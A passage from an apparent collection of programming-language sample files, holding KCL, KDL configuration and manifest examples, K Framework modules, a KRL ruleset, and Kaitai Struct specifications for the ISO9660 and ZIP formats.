a.service?.ports\n        }\n    }\n    # Returns Kubernetes manifests\n    [deployment, if a.service: service]\n}\n\n\nApp {\n    name = \"app\"\n    containers.nginx = {\n        image = \"nginx\"\n        ports = [{containerPort = 80}]\n    }\n    service.ports = [{ port = 80 }]\n}\n\nmanifests.yaml_stream(sum([kubernetesRender(a) for a in App.instances()], []))\n"
  },
  {
    "path": "samples/KCL/simple.k",
    "content": "schema App:\n    \"\"\"The application model.\"\"\"\n    name: str\n    replicas: int\n    labels?: {str:str} = {app = name}\n\napp: App {\n    name = \"app\"\n    replicas = 1\n    labels.key = \"value\"\n}\n"
  },
  {
    "path": "samples/KDL/Cargo.kdl",
    "content": "package {\n    name kdl\n    version \"0.0.0\"\n    description \"The kdl document language\"\n    authors \"Kat Marchán <kzm@zkat.tech>\"\n    license-file LICENSE.md\n    edition \"2018\"\n}\n\ndependencies {\n    nom \"6.0.1\"\n    thiserror \"1.0.22\"\n}\n"
  },
  {
    "path": "samples/KDL/ci.kdl",
    "content": "// This example is a GitHub Action if it used KDL syntax.\n// See .github/workflows/ci.yml for the file this was based on.\nname CI\n\non push pull_request\n\nenv {\n  RUSTFLAGS -Dwarnings\n}\n\njobs {\n  fmt_and_docs \"Check fmt & build docs\" {\n    runs-on ubuntu-latest\n    steps {\n      step uses=\"actions/checkout@v1\"\n      step \"Install Rust\" uses=\"actions-rs/toolchain@v1\" {\n        profile minimal\n        toolchain stable\n        components rustfmt\n        override #true\n      }\n      step rustfmt { run cargo fmt --all -- --check }\n      step docs { run cargo doc --no-deps }\n    }\n  }\n  build_and_test \"Build & Test\" {\n    runs-on \"${{ matrix.os }}\"\n    strategy {\n      matrix {\n        rust \"1.46.0\" stable\n        os ubuntu-latest macOS-latest windows-latest\n      }\n    }\n\n    steps {\n      step uses=\"actions/checkout@v1\"\n      step \"Install Rust\" uses=\"actions-rs/toolchain@v1\" {\n        profile minimal\n        toolchain \"${{ matrix.rust }}\"\n        components clippy\n        override #true\n      }\n      step Clippy { run cargo clippy --all -- -D warnings }\n      step \"Run tests\" { run cargo test --all --verbose }\n      step \"Other Stuff\" run=\"\"\"\n        echo foo\n        echo bar\n        echo baz\n        \"\"\"\n    }\n  }\n}\n"
  },
  {
    "path": "samples/KDL/niri.kdl",
    "content": "// This config is in the KDL format: https://kdl.dev\r\n// \"/-\" comments out the following node.\r\n// Check the wiki for a full description of the configuration:\r\n// https://github.com/YaLTeR/niri/wiki/Configuration:-Overview\r\ninput {\r\n    touchpad {\r\n        tap\r\n        natural-scroll\r\n    }\r\n}\r\n\r\n/-output \"eDP-1\" {\r\n    mode \"1920x1080@120.030\"\r\n    scale 2\r\n    transform \"normal\"\r\n    position x=1280 y=0\r\n}\r\nlayout {\r\n    gaps 16\r\n    center-focused-column \"never\"\r\n    preset-column-widths {\r\n        proportion 0.33333\r\n        proportion 0.5\r\n        proportion 0.66667\r\n    }\r\n    default-column-width { proportion 0.5; }\r\n    focus-ring {\r\n        width 4\r\n        active-color \"#7fc8ff\"\r\n        inactive-color \"#505050\"\r\n    }\r\n    border {\r\n        off\r\n        width 4\r\n        active-color \"#ffc87f\"\r\n        inactive-color \"#505050\"\r\n    }\r\n    struts {\r\n    }\r\n}\r\nscreenshot-path \"~/Pictures/Screenshots/Screenshot from %Y-%m-%d %H-%M-%S.png\"\r\nwindow-rule {\r\n    match app-id=r#\"^org\\.wezfurlong\\.wezterm$\"#\r\n    default-column-width {}\r\n}\r\n/-window-rule {\r\n    match app-id=r#\"^org\\.keepassxc\\.KeePassXC$\"#\r\n    match app-id=r#\"^org\\.gnome\\.World\\.Secrets$\"#\r\n    block-out-from \"screen-capture\"\r\n}\r\nbinds {\r\n    Mod+Shift+Slash { show-hotkey-overlay; }\r\n    Mod+T { spawn \"alacritty\"; }\r\n    Mod+D { spawn \"fuzzel\"; }\r\n    Super+Alt+L { spawn \"swaylock\"; }\r\n    XF86AudioRaiseVolume allow-when-locked=true { spawn \"wpctl\" \"set-volume\" \"@DEFAULT_AUDIO_SINK@\" \"0.1+\"; }\r\n    XF86AudioLowerVolume allow-when-locked=true { spawn \"wpctl\" \"set-volume\" \"@DEFAULT_AUDIO_SINK@\" \"0.1-\"; }\r\n    XF86AudioMute        allow-when-locked=true { spawn \"wpctl\" \"set-mute\" \"@DEFAULT_AUDIO_SINK@\" \"toggle\"; }\r\n    XF86AudioMicMute     allow-when-locked=true { spawn \"wpctl\" \"set-mute\" \"@DEFAULT_AUDIO_SOURCE@\" \"toggle\"; }\r\n}\r\n"
  },
  {
    "path": "samples/KDL/nuget.kdl",
    "content": "// Based on https://github.com/NuGet/NuGet.Client/blob/dev/src/NuGet.Clients/NuGet.CommandLine/NuGet.CommandLine.csproj\r\nProject {\r\n  PropertyGroup {\r\n    IsCommandLinePackage #true\r\n  }\r\n\r\n  Import Project=#\"$([MSBuild]::GetDirectoryNameOfFileAbove($(MSBuildThisFileDirectory), 'README.md'))\\build\\common.props\"#\r\n  Import Project=Sdk.props Sdk=Microsoft.NET.Sdk\r\n  Import Project=ilmerge.props\r\n\r\n  PropertyGroup {\r\n    RootNamespace NuGet.CommandLine\r\n    AssemblyName NuGet\r\n    AssemblyTitle \"NuGet Command Line\"\r\n    PackageId NuGet.CommandLine\r\n    TargetFramework \"$(NETFXTargetFramework)\"\r\n    GenerateDocumentationFile #false\r\n    Description \"NuGet Command Line Interface.\"\r\n    ApplicationManifest app.manifest\r\n    Shipping #true\r\n    OutputType Exe\r\n    ComVisible #false\r\n    // Pack properties\r\n    PackProject #true\r\n    IncludeBuildOutput #false\r\n    TargetsForTfmSpecificContentInPackage \"$(TargetsForTfmSpecificContentInPackage)\" \"CreateCommandlineNupkg\"\r\n    SuppressDependenciesWhenPacking #true\r\n    DevelopmentDependency #true\r\n    PackageRequireLicenseAcceptance #false\r\n    UsePublicApiAnalyzer #false\r\n  }\r\n\r\n  Target Name=CreateCommandlineNupkg {\r\n    ItemGroup {\r\n      TfmSpecificPackageFile Include=#\"$(ArtifactsDirectory)$(VsixOutputDirName)\\NuGet.exe\"# {\r\n        PackagePath \"tools/\"\r\n      }\r\n      TfmSpecificPackageFile Include=#\"$(ArtifactsDirectory)$(VsixOutputDirName)\\NuGet.pdb\"# {\r\n        PackagePath \"tools/\"\r\n      }\r\n    }\r\n  }\r\n\r\n  Target Name=ILMergeNuGetExe \\\r\n         AfterTargets=Build \\\r\n         Condition=\"'$(BuildingInsideVisualStudio)' != 'true' and '$(SkipILMergeOfNuGetExe)' != 'true'\" \\\r\n  {\r\n    PropertyGroup {\r\n      // when done after build, no localizedartifacts are built yet, so expected localized artifact count is 0.\r\n      ExpectedLocalizedArtifactCount 0 Condition=\"'$(ExpectedLocalizedArtifactCount)' == ''\"\r\n    }\r\n    ItemGroup {\r\n      BuildArtifacts Include=#\"$(OutputPath)\\*.dll\"# Exclude=\"@(MergeExclude)\"\r\n      // NuGet.exe needs all NuGet.Commands.resources.dll merged in\r\n      LocalizedArtifacts Include=#\"$(ArtifactsDirectory)\\NuGet.Commands\\**\\$(NETFXTargetFramework)\\**\\*.resources.dll\"#\r\n    }\r\n    Error Text=\"Build dependencies are inconsistent with mergeinclude specified in ilmerge.props\" \\\r\n          Condition=\"'@(BuildArtifacts-&gt;Count())' != '@(MergeInclude-&gt;Count())'\"\r\n    Error Text=\"Satellite assemblies count ILMerged into NuGet.exe should be $(ExpectedLocalizedArtifactCount), but was: @(LocalizedArtifacts-&gt;Count())\" \\\r\n          Condition=\"'@(LocalizedArtifacts-&gt;Count())' != '$(ExpectedLocalizedArtifactCount)'\"\r\n    PropertyGroup {\r\n      PathToBuiltNuGetExe \"$(OutputPath)NuGet.exe\"\r\n      IlmergeCommand #\"$(ILMergeExePath) /lib:$(OutputPath) /out:$(ArtifactsDirectory)$(VsixOutputDirName)\\NuGet.exe @(MergeAllowDup -> '/allowdup:%(Identity)', ' ') /log:$(OutputPath)IlMergeLog.txt\"#\r\n      IlmergeCommand Condition=\"Exists($(MS_PFX_PATH))\" \"$(IlmergeCommand) /delaysign /keyfile:$(MS_PFX_PATH)\"\r\n      // LocalizedArtifacts need fullpath, since there will be duplicate file names\r\n      IlmergeCommand \"$(IlmergeCommand) $(PathToBuiltNuGetExe) @(BuildArtifacts->'%(filename)%(extension)', ' ') @(LocalizedArtifacts->'%(fullpath)', ' ')\"\r\n    }\r\n    MakeDir Directories=\"$(ArtifactsDirectory)$(VsixOutputDirName)\"\r\n    Exec Command=\"$(IlmergeCommand)\" ContinueOnError=#false\r\n  }\r\n\r\n  Import Project=\"$(BuildCommonDirectory)common.targets\"\r\n  Import Project=\"$(BuildCommonDirectory)embedinterop.targets\"\r\n\r\n  // Do nothing. This basically strips away the framework assemblies from the resulting nuspec.\r\n  Target Name=_GetFrameworkAssemblyReferences DependsOnTargets=ResolveReferences\r\n\r\n  Target Name=GetSigningInputs Returns=\"@(DllsToSign)\" {\r\n    ItemGroup {\r\n      DllsToSign Include=#\"$(ArtifactsDirectory)$(VsixOutputDirName)\\NuGet.exe\"# {\r\n        StrongName MsSharedLib72\r\n        Authenticode Microsoft400\r\n      }\r\n    }\r\n  }\r\n\r\n  Target Name=GetSymbolsToIndex Returns=\"@(SymbolsToIndex)\" {\r\n    ItemGroup {\r\n      SymbolsToIndex Include=#\"$(ArtifactsDirectory)$(VsixOutputDirName)\\NuGet.exe\"#\r\n      SymbolsToIndex Include=#\"$(ArtifactsDirectory)$(VsixOutputDirName)\\NuGet.pdb\"#\r\n    }\r\n  }\r\n\r\n  Import Project=Sdk.targets Sdk=Microsoft.NET.Sdk\r\n}\r\n"
  },
  {
    "path": "samples/KDL/system76-scheduler.kdl",
    "content": "// WARNING: Modifications to this file will not be preserved on upgrade.\n// To configure, make a config.kdl file under /etc/system76-scheduler/.\n\n// Version of the configuration file\nversion \"2.0\"\n\n// Autogrouping nullifies nice priorities\nautogroup-enabled false\n\n// Latency profiles the kernel's Completely Fair Scheduler\ncfs-profiles enable=true {\n    // The kernel-default values which are ideal for battery life and servers\n    default latency=6 nr-latency=8 wakeup-granularity=1.0 bandwidth-size=5 preempt=\"voluntary\"\n\n    // Zen CFS parameters that make the desktop more responsive\n    responsive latency=4 nr-latency=10 wakeup-granularity=0.5 bandwidth-size=3 preempt=\"full\"\n}\n\n// Monitors and applies process priority adjustments\nprocess-scheduler enable=true {\n    // How often to reload process assignments. 0 to disable\n    refresh-rate 60\n\n    // Enable realtime process priority adjustment with execsnoop\n    execsnoop true\n\n    // Preset process assignment profiles\n    assignments {\n        // Prevent crackling and distortion from the sound server\n        sound-server nice=-15 io=(realtime)0 {\n            \"/usr/bin/pipewire\"\n            \"/usr/bin/pipewire-pulse\"\n            \"/usr/bin/jackd\"\n        }\n\n        // Applications with realtime audio processing needs\n        recording nice=-9 io=(best-effort)0\n\n        // Enables pipewire process monitoring and assignments\n        pipewire nice=-6 io=(best-effort)0\n\n        // Video games\n        games nice=-5 io=(best-effort)0\n\n        // Desktop environments\n        desktop-environment nice=-3 io=(best-effort)0\n\n        // Foreground process profile\n        foreground nice=0 io=(best-effort)0\n\n        // Background process profile\n        background nice=6 io=\"idle\"\n\n        // Session services belonging to the user\n        session-services nice=9 io=\"idle\" {\n            include cgroup=\"/user.slice/*.service\" parent=\"systemd\"\n            include cgroup=\"/user.slice/*/session.slice/*\" parent=\"systemd\"\n            exclude cgroup=\"/user.slice/*app-dbus*\"\n        }\n\n        // System services belonging to root\n        system-services nice=12 io=\"idle\" {\n            include cgroup=\"/system.slice/*\"\n        }\n\n        // Package management processes\n        package-manager nice=15 sched=\"batch\" io=\"idle\"\n\n        // CPU-intense background tasks\n        batch nice=19 sched=\"idle\" io=\"idle\"\n    }\n\n    exceptions {\n        include descends=\"chrt\"\n        include descends=\"gamemoderun\"\n        include descends=\"ionice\"\n        include descends=\"nice\"\n        include descends=\"taskset\"\n        include descends=\"schedtool\"\n        chrt\n        dbus\n        dbus-broker\n        gamemoderun\n        ionice\n        nice\n        rtkit-daemon\n        systemd\n        taskset\n        schedtool\n    }\n}"
  },
  {
    "path": "samples/KDL/website.kdl",
    "content": "!doctype html\nhtml lang=en {\n    head {\n        meta charset=utf-8\n        meta name=viewport content=\"width=device-width, initial-scale=1.0\"\n        meta \\\n            name=description \\\n            content=\"kdl is a document language, mostly based on SDLang, with xml-like semantics that looks like you're invoking a bunch of CLI commands!\"\n        title \"kdl - The KDL Document Language\"\n        link rel=stylesheet href=\"/styles/global.css\"\n    }\n    body {\n        main {\n            header class=\"py-10 bg-gray-300\" {\n                h1 class=\"text-4xl text-center\" \"kdl - The KDL Document Language\"\n            }\n            section class=kdl-section id=description {\n                p {\n                    - \"kdl is a document language, mostly based on \"\n                    a href=\"https://sdlang.org\" \"SDLang\"\n                    - \" with xml-like semantics that looks like you're invoking a bunch of CLI commands\"\n                }\n                p \"It's meant to be used both as a serialization format and a configuration language, and is relatively light on syntax compared to XML.\"\n            }\n            section class=kdl-section id=design-and-discussion {\n                h2 \"Design and Discussion\"\n                p {\n                    - \"kdl is still extremely new, and discussion about the format should happen over on the \"\n                    a href=\"https://github.com/kdoclang/kdl/discussions\" {\n                        - \"discussions\"\n                    }\n                    - \" page in the Github repo. Feel free to jump in and give us your 2 cents!\"\n                }\n            }\n            section class=kdl-section id=design-principles {\n                h2 \"Design Principles\"\n                ol {\n                    li Maintainability\n                    li Flexibility\n                    li \"Cognitive simplicity and Learnability\"\n                    li \"Ease of de/serialization\"\n                    li \"Ease of implementation\"\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "samples/KDL/zellij.kdl",
    "content": "// If you'd like to override the default keybindings completely, be sure to change \"keybinds\" to \"keybinds clear-defaults=true\"\r\nkeybinds {\r\n    normal {\r\n        // uncomment this and adjust key if using copy_on_select=false\r\n        // bind \"Alt c\" { Copy; }\r\n    }\r\n    locked {\r\n        bind \"Ctrl g\" { SwitchToMode \"Normal\"; }\r\n    }\r\n    resize {\r\n        bind \"Ctrl n\" { SwitchToMode \"Normal\"; }\r\n        bind \"h\" \"Left\" { Resize \"Increase Left\"; }\r\n        bind \"j\" \"Down\" { Resize \"Increase Down\"; }\r\n        bind \"k\" \"Up\" { Resize \"Increase Up\"; }\r\n        bind \"l\" \"Right\" { Resize \"Increase Right\"; }\r\n        bind \"H\" { Resize \"Decrease Left\"; }\r\n        bind \"J\" { Resize \"Decrease Down\"; }\r\n        bind \"K\" { Resize \"Decrease Up\"; }\r\n        bind \"L\" { Resize \"Decrease Right\"; }\r\n        bind \"=\" \"+\" { Resize \"Increase\"; }\r\n        bind \"-\" { Resize \"Decrease\"; }\r\n    }\r\n    pane {\r\n        bind \"Ctrl p\" { SwitchToMode \"Normal\"; }\r\n        bind \"h\" \"Left\" { MoveFocus \"Left\"; }\r\n        bind \"l\" \"Right\" { MoveFocus \"Right\"; }\r\n        bind \"j\" \"Down\" { MoveFocus \"Down\"; }\r\n        bind \"k\" \"Up\" { MoveFocus \"Up\"; }\r\n        bind \"p\" { SwitchFocus; }\r\n        bind \"n\" { NewPane; SwitchToMode \"Normal\"; }\r\n        bind \"d\" { NewPane \"Down\"; SwitchToMode \"Normal\"; }\r\n        bind \"r\" { NewPane \"Right\"; SwitchToMode \"Normal\"; }\r\n        bind \"x\" { CloseFocus; SwitchToMode \"Normal\"; }\r\n        bind \"f\" { ToggleFocusFullscreen; SwitchToMode \"Normal\"; }\r\n        bind \"z\" { TogglePaneFrames; SwitchToMode \"Normal\"; }\r\n        bind \"w\" { ToggleFloatingPanes; SwitchToMode \"Normal\"; }\r\n        bind \"e\" { TogglePaneEmbedOrFloating; SwitchToMode \"Normal\"; }\r\n        bind \"c\" { SwitchToMode \"RenamePane\"; PaneNameInput 0;}\r\n        bind \"i\" { TogglePanePinned; SwitchToMode \"Normal\"; }\r\n    }\r\n}\r\n"
  },
  {
    "path": "samples/KFramework/sample1.k",
    "content": "// Copyright (c) Runtime Verification, Inc. All Rights Reserved.\n\nmodule RAND-SYNTAX\n  imports DOMAINS-SYNTAX\n\n  syntax Pgm ::= \".Pgm\" | Int \";\" Pgm | runRand ( )\nendmodule\n\n\nmodule RAND\n  imports RAND-SYNTAX\n  imports DOMAINS\n\n  configuration <k> /home/mihai/git/linguist/samples/KFrameworkgm </k>\n                <rands> .List </rands>\n\n  rule <k> I ; P => srandInt(I) ~> runRand() ~> P ... </k>\n\n  rule <k> runRand() => .K ... </k>\n       <rands> ... .List => ListItem(randInt(1000)) </rands>\nendmodule\n"
  },
  {
    "path": "samples/KFramework/sample2.k",
    "content": "// Copyright (c) Runtime Verification, Inc. All Rights Reserved.\nmodule IMP-SYNTAX\n  imports DOMAINS-SYNTAX\n\n  syntax Pgm ::= Int\nendmodule\n\n\nmodule IMP\n  imports IMP-SYNTAX\n  imports DOMAINS\n  syntax KResult ::= Int | Bool\n\n  configuration <T color=\"yellow\">\n                  <k color=\"green\"> /home/mihai/git/linguist/samples/KFrameworkgm </k>\n                  <cpp-enums>\n                    <cppenum multiplicity=\"*\" type=\"Map\">\n                      <enum-id> .K </enum-id>\n                      <enum-type> .K </enum-type>\n                      <scoped> false </scoped>\n                    </cppenum>\n                  </cpp-enums>\n                </T>\n\n  syntax Enum\n\n  syntax CppenumCell\n  syntax IncompleteInfo ::= \"#incomplete\"\n  syntax EnumInfo ::= CppenumCell | IncompleteInfo\n     syntax EnumInfo ::= #getEnumInfo(Enum) [function]\n\n     rule [[ #getEnumInfo(X::Enum) => <cppenum> <enum-id> X </enum-id> B </cppenum> ]]\n          <cppenum> <enum-id> X </enum-id> B::Bag </cppenum>\n\n     rule #getEnumInfo(_) => #incomplete [owise]\n\nendmodule\n"
  },
  {
    "path": "samples/KRL/helloworld.krl",
    "content": "ruleset sample {\n  meta {\n    name \"Hello World\"\n    description <<\nHello world\n>>\n    author \"Phil Windley\"\n  }\n\n  // just one rule\n  rule hello {\n    select when web pageview\n    notify(\"Hello world!\", \"Just a note to say hello\");\n  }\n}\n"
  },
  {
    "path": "samples/Kaitai Struct/iso9660.ksy",
    "content": "meta:\n  id: iso9660\n  title: ISO9660 CD filesystem\n  file-extension: iso\n  xref:\n    wikidata: Q815645\n  license: CC0-1.0\ndoc: |\n  ISO9660 is standard filesystem used on read-only optical discs\n  (mostly CD-ROM). The standard was based on earlier High Sierra\n  Format (HSF), proposed for CD-ROMs in 1985, and, after several\n  revisions, it was accepted as ISO9960:1998.\n\n  The format emphasizes portability (thus having pretty minimal\n  features and very conservative file names standards) and sequential\n  access (which favors disc devices with relatively slow rotation\n  speed).\ntypes:\n  vol_desc:\n    seq:\n      - id: type\n        type: u1\n      - id: magic\n        contents: \"CD001\"\n      - id: version\n        type: u1\n      - id: vol_desc_boot_record\n        type: vol_desc_boot_record\n        if: type == 0\n      - id: vol_desc_primary\n        type: vol_desc_primary\n        if: type == 1\n  vol_desc_boot_record:\n    seq:\n      - id: boot_system_id\n        type: str\n        size: 32\n        encoding: UTF-8\n      - id: boot_id\n        type: str\n        size: 32\n        encoding: UTF-8\n  vol_desc_primary:\n    doc-ref: 'http://wiki.osdev.org/ISO_9660#The_Primary_Volume_Descriptor'\n    seq:\n      - id: unused1\n        contents: [0]\n      - id: system_id\n        type: str\n        size: 32\n        encoding: UTF-8\n      - id: volume_id\n        type: str\n        size: 32\n        encoding: UTF-8\n      - id: unused2\n        contents: [0, 0, 0, 0, 0, 0, 0, 0]\n      - id: vol_space_size\n        type: u4bi\n      - id: unused3\n        contents: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n      - id: vol_set_size\n        type: u2bi\n      - id: vol_seq_num\n        type: u2bi\n      - id: logical_block_size\n        type: u2bi\n      - id: path_table_size\n        type: u4bi\n      - id: lba_path_table_le\n        type: u4le\n      - id: lba_opt_path_table_le\n        type: u4le\n      - id: lba_path_table_be\n        type: u4be\n      - id: lba_opt_path_table_be\n        type: u4be\n      - id: root_dir\n        type: dir_entry\n        size: 34\n      - id: vol_set_id\n        type: str\n        size: 128\n        encoding: UTF-8\n      - id: publisher_id\n        type: str\n        size: 128\n        encoding: UTF-8\n      - id: data_preparer_id\n        type: str\n        size: 128\n        encoding: UTF-8\n      - id: application_id\n        type: str\n        size: 128\n        encoding: UTF-8\n      - id: copyright_file_id\n        type: str\n        size: 38\n        encoding: UTF-8\n      - id: abstract_file_id\n        type: str\n        size: 36\n        encoding: UTF-8\n      - id: bibliographic_file_id\n        type: str\n        size: 37\n        encoding: UTF-8\n      - id: vol_create_datetime\n        type: dec_datetime\n      - id: vol_mod_datetime\n        type: dec_datetime\n      - id: vol_expire_datetime\n        type: dec_datetime\n      - id: vol_effective_datetime\n        type: dec_datetime\n      - id: file_structure_version\n        type: u1\n      - id: unused4\n        type: u1\n      - id: application_area\n        size: 512\n    instances:\n      path_table:\n        pos: lba_path_table_le * _root.sector_size\n        size: path_table_size.le\n        type: path_table_le\n  dir_entries:\n    seq:\n      - id: entries\n        type: dir_entry\n        repeat: until\n        repeat-until: _.len == 0\n  dir_entry:\n    seq:\n      - id: len\n        type: u1\n      - id: body\n        type: dir_entry_body\n        size: len - 1\n        if: len > 0\n  dir_entry_body:\n    seq:\n      - id: len_ext_attr_rec\n        type: u1\n      - id: lba_extent\n        type: u4bi\n      - id: size_extent\n        type: u4bi\n      - id: datetime\n        type: datetime\n      - id: file_flags\n        type: u1\n      - id: file_unit_size\n        type: u1\n      - id: interleave_gap_size\n        type: u1\n      - id: vol_seq_num\n        type: u2bi\n      - id: len_file_name\n        type: u1\n      - id: file_name\n        type: str\n        encoding: UTF-8\n        size: len_file_name\n      - id: padding\n        type: u1\n        if: len_file_name % 2 == 0\n      - id: rest\n        size-eos: true\n    instances:\n      extent_as_dir:\n        io: _root._io\n        pos: lba_extent.le * _root.sector_size\n        size: size_extent.le\n        type: dir_entries\n        if: file_flags & 2 != 0\n      extent_as_file:\n        io: _root._io\n        pos: lba_extent.le * _root.sector_size\n        size: size_extent.le\n        if: file_flags & 2 == 0\n  ## AKA \"Path Table Entry\"\n  path_table_le:\n    doc-ref: 'http://wiki.osdev.org/ISO_9660#The_Path_Table'\n    seq:\n      - id: entries\n        type: path_table_entry_le\n        repeat: eos\n  path_table_entry_le:\n    seq:\n      - id: len_dir_name\n        type: u1\n      - id: len_ext_attr_rec\n        type: u1\n      - id: lba_extent\n        type: u4le\n      - id: parent_dir_idx\n        type: u2le\n      - id: dir_name\n        type: str\n        encoding: UTF-8\n        size: len_dir_name\n      - id: padding\n        type: u1\n        if: len_dir_name % 2 == 1\n  datetime:\n    seq:\n      - id: year\n        type: u1\n      - id: month\n        type: u1\n      - id: day\n        type: u1\n      - id: hour\n        type: u1\n      - id: minute\n        type: u1\n      - id: sec\n        type: u1\n      - id: timezone\n        type: u1\n  dec_datetime:\n    doc-ref: 'http://wiki.osdev.org/ISO_9660#Date.2Ftime_format'\n    seq:\n      - id: year\n        type: str\n        size: 4\n        encoding: ASCII\n      - id: month\n        type: str\n        size: 2\n        encoding: ASCII\n      - id: day\n        type: str\n        size: 2\n        encoding: ASCII\n      - id: hour\n        type: str\n        size: 2\n        encoding: ASCII\n      - id: minute\n        type: str\n        size: 2\n        encoding: ASCII\n      - id: sec\n        type: str\n        size: 2\n        encoding: ASCII\n      - id: sec_hundreds\n        type: str\n        size: 2\n        encoding: ASCII\n      - id: timezone\n        type: u1\n  u2bi:\n    seq:\n      - id: le\n        type: u2le\n      - id: be\n        type: u2be\n  u4bi:\n    seq:\n      - id: le\n        type: u4le\n      - id: be\n        type: u4be\ninstances:\n  sector_size:\n    value: 2048\n  primary_vol_desc:\n    type: vol_desc\n    pos: 0x010 * sector_size\n"
  },
  {
    "path": "samples/Kaitai Struct/zip.ksy",
    "content": "meta:\n  id: zip\n  title: ZIP archive file\n  file-extension: zip\n  xref:\n    iso: 21320-1\n    justsolve: ZIP\n    loc:\n      - fdd000354\n      - fdd000355\n      - fdd000362\n      - fdd000361\n    pronom: x-fmt/263\n    wikidata: Q136218\n  endian: le\n  license: CC0-1.0\ndoc: |\n  ZIP is a popular archive file format, introduced in 1989 by Phil Katz\n  and originally implemented in PKZIP utility by PKWARE.\n\n  Thanks to solid support of it in most desktop environments and\n  operating systems, and algorithms / specs availability in public\n  domain, it quickly became tool of choice for implementing file\n  containers.\n\n  For example, Java .jar files, OpenDocument, Office Open XML, EPUB files\n  are actually ZIP archives.\ndoc-ref: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT\nseq:\n  - id: sections\n    type: pk_section\n    repeat: eos\ntypes:\n  pk_section:\n    seq:\n      - id: magic\n        contents: 'PK'\n      - id: section_type\n        type: u2\n      - id: body\n        type:\n          switch-on: section_type\n          cases:\n            0x0201: central_dir_entry\n            0x0403: local_file\n            0x0605: end_of_central_dir\n            0x0807: data_descriptor\n  data_descriptor:\n    seq:\n      - id: crc32\n        type: u4\n      - id: len_body_compressed\n        type: u4\n      - id: len_body_uncompressed\n        type: u4\n  local_file:\n    seq:\n      - id: header\n        type: local_file_header\n      - id: body\n        size: header.len_body_compressed\n  local_file_header:\n    seq:\n      - id: version\n        type: u2\n      - id: flags\n        type: u2\n      - id: compression_method\n        type: u2\n        enum: compression\n      - id: file_mod_time\n        type: u2\n      - id: file_mod_date\n        type: u2\n      - id: crc32\n        type: u4\n      - id: len_body_compressed\n        type: u4\n      - id: len_body_uncompressed\n        type: u4\n      - id: len_file_name\n        type: u2\n      - id: len_extra\n        type: u2\n      - id: file_name\n        type: str\n        size: len_file_name\n        encoding: UTF-8\n      - id: extra\n        size: len_extra\n        type: extras\n  central_dir_entry:\n    doc-ref: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT - 4.3.12\n    seq:\n      - id: version_made_by\n        type: u2\n      - id: version_needed_to_extract\n        type: u2\n      - id: flags\n        type: u2\n      - id: compression_method\n        type: u2\n        enum: compression\n      - id: last_mod_file_time\n        type: u2\n      - id: last_mod_file_date\n        type: u2\n      - id: crc32\n        type: u4\n      - id: len_body_compressed\n        type: u4\n      - id: len_body_uncompressed\n        type: u4\n      - id: len_file_name\n        type: u2\n      - id: len_extra\n        type: u2\n      - id: len_comment\n        type: u2\n      - id: disk_number_start\n        type: u2\n      - id: int_file_attr\n        type: u2\n      - id: ext_file_attr\n        type: u4\n      - id: ofs_local_header\n        type: s4\n      - id: file_name\n        type: str\n        size: len_file_name\n        encoding: UTF-8\n      - id: extra\n        size: len_extra\n        type: extras\n      - id: comment\n        type: str\n        size: len_comment\n        encoding: UTF-8\n    instances:\n      local_header:\n        pos: ofs_local_header\n        type: pk_section\n  # https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT - 4.3.16\n  end_of_central_dir:\n    seq:\n      - id: disk_of_end_of_central_dir\n        type: u2\n      - id: disk_of_central_dir\n        type: u2\n      - id: num_central_dir_entries_on_disk\n        type: u2\n      - id: num_central_dir_entries_total\n        type: u2\n      - id: len_central_dir\n        type: u4\n      - id: ofs_central_dir\n        type: u4\n      - id: len_comment\n        type: u2\n      - id: comment\n        type: str\n        size: len_comment\n        encoding: UTF-8\n  extras:\n    seq:\n      - id: entries\n        type: extra_field\n        repeat: eos\n  extra_field:\n    seq:\n      - id: code\n        type: u2\n        enum: extra_codes\n      - id: len_body\n        type: u2\n      - id: body\n        size: len_body\n        type:\n          switch-on: code\n          cases:\n            'extra_codes::ntfs': ntfs\n            'extra_codes::extended_timestamp': extended_timestamp\n            'extra_codes::infozip_unix_var_size': infozip_unix_var_size\n    types:\n      ntfs:\n        doc-ref: 'https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt#L191'\n        seq:\n          - id: reserved\n            type: u4\n          - id: attributes\n            type: attribute\n            repeat: eos\n        types:\n          attribute:\n            seq:\n              - id: tag\n                type: u2\n              - id: len_body\n                type: u2\n              - id: body\n                size: len_body\n                type:\n                  switch-on: tag\n                  cases:\n                    1: attribute_1\n          attribute_1:\n            seq:\n              - id: last_mod_time\n                type: u8\n              - id: last_access_time\n                type: u8\n              - id: creation_time\n                type: u8\n      extended_timestamp:\n        doc-ref: 'https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt#L817'\n        seq:\n          - id: flags\n            type: u1\n          - id: mod_time\n            type: u4\n          - id: access_time\n            type: u4\n            if: not _io.eof\n          - id: create_time\n            type: u4\n            if: not _io.eof\n      infozip_unix_var_size:\n        doc-ref: 'https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt#L1339'\n        seq:\n          - id: version\n            type: u1\n            doc: Version of this extra field, currently 1\n          - id: len_uid\n            type: u1\n            doc: Size of UID field\n          - id: uid\n            size: len_uid\n            doc: UID (User ID) for a file\n          - id: len_gid\n            type: u1\n            doc: Size of GID field\n          - id: gid\n            size: len_gid\n            doc: GID (Group ID) for a file\nenums:\n  compression:\n    0: none\n    1: shrunk\n    2: reduced_1\n    3: reduced_2\n    4: reduced_3\n    5: reduced_4\n    6: imploded\n    8: deflated\n    9: enhanced_deflated\n    10: pkware_dcl_imploded\n    12: bzip2\n    14: lzma\n    18: ibm_terse\n    19: ibm_lz77_z\n    98: ppmd\n  extra_codes:\n    # https://github.com/LuaDist/zip/blob/master/proginfo/extrafld.txt\n    0x0001: zip64\n    0x0007: av_info\n#    0x0008: reserved for extended language encoding data (PFS) (see APPENDIX D)\n    0x0009: os2\n    0x000a: ntfs\n    0x000c: openvms\n    0x000d: pkware_unix\n    0x000e: file_stream_and_fork_descriptors\n    0x000f: patch_descriptor\n    0x0014: pkcs7\n    0x0015: x509_cert_id_and_signature_for_file\n    0x0016: x509_cert_id_for_central_dir\n    0x0017: strong_encryption_header\n    0x0018: record_management_controls\n    0x0019: 